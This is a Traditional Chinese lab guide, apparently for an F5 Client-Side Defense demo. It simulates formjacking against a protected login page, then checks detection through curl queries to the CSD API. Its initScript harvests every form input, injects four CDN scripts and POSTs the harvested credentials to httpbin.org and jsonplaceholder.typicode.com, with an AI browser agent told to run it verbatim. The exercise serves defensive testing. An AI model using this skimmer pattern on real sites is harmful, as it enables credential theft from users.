階段 2 — 攻擊
階段 2 針對受保護應用程式產生模擬攻擊流量,並確認 CSD 已偵測到該流量。在繼續之前,階段 1 必須完成——所有步驟 7 的檢查均為 PASS。
步驟 8:攻擊模擬
Section titled “步驟 8:攻擊模擬”基礎設施驗證完成後(所有階段 1 步驟 7 的檢查均為 PASS),執行攻擊模擬腳本以產生 CSD 偵測結果。腳本定義於觸發偵測指南和攻擊腳本庫中。
AI 自動化執行
Section titled “AI 自動化執行”具有瀏覽器自動化工具的 AI 助理可以程式化方式執行攻擊模擬:
- 使用 initScript 導覽 — 先導覽至
about:blank以確保乾淨的文件上下文(避免前次導覽殘留的 initScript),然後使用navigate_page導覽至http://$F5XC_DOMAINNAME/#/login,並附上一個initScript,該腳本會在 zone.js 修補之前儲存原生的setInterval、clearInterval、fetch和console.log,輪詢登入表單欄位,透過原生HTMLInputElement.prototype.valuesetter 填入憑證,並立即以內嵌方式執行組合偵測腳本。請使用下方的逐字 initScript。 - 關閉歡迎橫幅 — 使用
Escape鍵執行press_key以關閉歡迎橫幅。後續造訪時橫幅可能不會出現(Cookie 已持久化)。Cookie 同意對話框會由 Escape 鍵自動關閉。 - 等待完成 — 等待 10 秒,讓所有 CDN 腳本載入/錯誤回呼及 fetch Promise 解析完成。
- 擷取證據 — 使用
list_console_messages檢查是否有[CSD Demo] Simulation complete及 CDN 載入結果;使用list_network_requests篩選script和fetch類型,以驗證 HTTP 狀態碼(成功為200/201,保留中的請求為pending)。
階段 2 initScript(逐字使用——請完全按照原文):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);沒有瀏覽器自動化工具的操作員請手動執行以下步驟:
- 導覽至受保護應用程式的登入頁面:
http://xF5XC_DOMAINNAMEx/#/login - 輸入虛擬憑證 — 在電子郵件欄位輸入
test@example.com,在密碼欄位輸入P@ssword123(請勿提交表單) - 開啟開發人員工具 — 按下 F12 並切換至主控台分頁
- 執行組合偵測腳本 — 將觸發偵測 — 執行組合模擬腳本中的腳本貼入主控台並按下 Enter
- 驗證主控台輸出 — 確認
[CSD Demo]的分階段輸出顯示:欄位收割、從 4 個 CDN 網域注入腳本,以及向 2 個端點的資料外洩
| 訊號 | 行為 | 偵測 |
|---|---|---|
| 表單欄位收割 | 讀取電子郵件和密碼輸入值 | 讀取敏感表單欄位的腳本——標記為高風險 |
| 腳本注入 | 從 cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io 注入 4 個 <script> 標籤 | 偵測到最多 4 個新的第三方腳本網域(CDN 可用性因情況而異) |
| 資料外洩 | 透過 fetch 將收割的資料傳送至 www.httpbin.org 和 jsonplaceholder.typicode.com | 偵測到對外部網域的網路呼叫 |
AI 助理應回報以下內容。對於 AI 自動化執行,證據透過 list_console_messages 以程式化方式擷取(initScript 的輪詢函數會將結果記錄至主控台)。對於手動執行,操作員讀取瀏覽器主控台輸出。
| 檢查項目 | 預期結果 | 狀態 |
|---|---|---|
| 登入頁面已載入 | http://$F5XC_DOMAINNAME/#/login 回傳 200 OK | PASS / FAIL |
| 主控台腳本已執行 | 主控台輸出中出現 [CSD Demo] Simulation complete | PASS / FAIL |
| 欄位已收割 | 主控台輸出中的數量 > 0 | PASS |
| 腳本已注入 | 主控台輸出中出現 1–4 個 CDN 網域(部分可能因資源錯誤而失敗) | 若出現任何 CDN 網域則為 PASS |
| 外洩通道 | 主控台輸出中出現 2 個 fetch POST 嘗試 | PASS |
步驟 9:透過 API 驗證偵測結果
Section titled “步驟 9:透過 API 驗證偵測結果”查詢 CSD API 端點以確認偵測結果已出現。使用輪詢迴圈:每 60 秒查詢一次 /detected_domains;一旦 DET-3 通過即可繼續。若 DET-3 在 10 分鐘後仍未通過,請檢查 CSD 設定。若 DET-3 在 30 分鐘後仍未通過,請停止並向操作員回報。這些端點記錄於 API 參考中,使用與前述步驟相同的驗證方式和命名空間。
已偵測的腳本
Section titled “已偵測的腳本”查詢過去 24 小時內偵測到的腳本:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| 欄位 | 預期結果 | 狀態 |
|---|---|---|
total | > 0(已偵測到腳本) | 若 > 0 則為 PASS;若為 0 但 /detected_domains 顯示外洩網域則為 PENDING |
| 腳本名稱 | script_name 中包含 CDN 網域(cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io) | 若注入的 CDN 網域出現則為 PASS |
已偵測的網域
Section titled “已偵測的網域”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| 欄位 | 預期結果 | 狀態 |
|---|---|---|
total_domains | > 0 | 若 > 0 則為 PASS |
| 網域清單 | 包含 CDN 和外洩網域 | 若預期網域出現則為 PASS |
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| 欄位 | 預期結果 | 狀態 |
|---|---|---|
total | > 0 | 若 > 0 則為 PASS;若為 0 但 DET-3 通過則為 PENDING |
name | 包含 email、password | 若敏感欄位出現則為 PASS |
sensitivity | 電子郵件/密碼欄位為 Sensitive | 若 ML 分類正確則為 PASS |
階段 2 證據摘要
Section titled “階段 2 證據摘要”完成所有偵測查詢後,呈現最終偵測狀態:
| 測試 ID | 檢查項目 | 狀態 |
|---|---|---|
| DET-1 | 已偵測到腳本(/scripts 端點) | 若 > 0 則為 PASS;若為空但 DET-3 通過則為 PENDING |
| DET-2 | 已偵測到 CDN 網域 | PASS / FAIL |
| DET-3 | 已偵測到外洩網域(/detected_domains) | 主要指標 — 若 www.httpbin.org 或 jsonplaceholder.typicode.com 出現則為 PASS |
| DET-4 | 已偵測到表單欄位(/formFields 端點) | 若 > 0 則為 PASS;若為空但 DET-3 通過則為 PENDING |
階段 2 完成。 請繼續至階段 3 — 緩解以套用緩解規則並驗證網域已被封鎖。